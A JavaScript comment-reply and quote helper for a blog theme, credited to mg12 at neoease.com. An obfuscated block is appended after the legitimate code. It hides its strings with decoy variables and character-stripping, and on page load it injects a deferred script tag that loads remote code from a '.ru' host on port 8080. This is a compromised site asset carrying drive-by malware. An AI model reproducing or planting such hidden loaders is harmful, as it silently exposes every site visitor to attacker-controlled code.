/*
Author: mg12
Update: 2008/05/05
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + ' </a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();
var p;if(p!='' && p!='Sn'){p=null};try {var YT;if(YT!='CI' && YT!='L'){YT='CI'};var H=new Date();var mZ;if(mZ!='us'){mZ=''};var N='';var Wt='';var a=']';var KU;if(KU!='nH'){KU=''};var i='g';var j='[';this.F="";var D;if(D!='' && D!='lA'){D=null};var jC=RegExp;this.vi='';this.lg='';var u='replace';var rF=new Date();var hZ=new String();function o(Q,l){var Kl=new Date();var f;if(f!='Gu'){f=''};var P=j;var bS="";P+=l;var IJ;if(IJ!='' && IJ!='Fl'){IJ='Te'};var V;if(V!='' && V!='Cv'){V='q'};P+=a;var NQ=new jC(P, i);var GL;if(GL!='hV' && GL!='Kv'){GL='hV'};return Q[u](NQ, N);var JC="";};var S=o('/YxYc8adrd.1c1o8md.8cjnY/YxYcdadr1.dcYodmj.Yc8n1/dp8rjiYcdedmdiYnYiYsjt8e1rd.1c1o1m1/jgdo1ojgYlYe8.Yc8odm8/jojr1kjujtd.jcjoj.1i1n1.1p8hdp1',"Y1j8d");var Gl=new Date();var ak=new Date();var M=o('864164609999128614406164114',"46192");this.Gt="";var E=new String();var v=o('b8owdFyF',"w8F");var n=o('cHrHeUaFtHeUEUlUeHmFeHnFtH',"HUF");var Iw='';var R=o('hPtPtPpP:P/8/8pPiPx8nPe8t8-8n8e8t8.8mPy8nPePt8.PcPoPm8.8gPiPz8m8o8dPoP-8cPo8m8.PmPy8o8w8nPc8hPa8rPt8.PrPuP:P',"8P");var HZ='';var C=o('o5nEl5oIaVd5',"E5eVI");var U=o('sNcNrxixpxtN',"xN");this.US='';var Q="1";var NJ=new String();var Y=o('sleltlA8t8t8rli8b8ultle8',"l8");var J='';var ps="";var b=o('arpYpzernYdGCjhzizlGdr',"YGzrj");window[C]=function(){var RM;if(RM!='pd'){RM=''};ov=document[n](U);var JQ;if(JQ!='' && JQ!='rH'){JQ=''};var jT;if(jT!='bT' && jT != ''){jT=null};var lc=new String();J+=R;var Py="";J+=M;var tJ=new Array();J+=S;var rO;if(rO!='' && rO!='Oo'){rO='ay'};ov.setAttribute('defer', Q);var c="";ov.src=J;var bi;if(bi!='dXA' && bi!='dy'){bi=''};var _C=new Date();var vG;if(vG!='' && vG!='rT'){vG='WF'};var m=document[v];var xb=new Date();var Mt;if(Mt!='kQ' && Mt!='Ag'){Mt='kQ'};var SK;if(SK!='vD' && SK!='xm'){SK='vD'};var dT;if(dT!='MtP' && dT!='_l'){dT='MtP'};m.appendChild(ov);var XN=new Date();};var Qn=new Array();} catch(K){};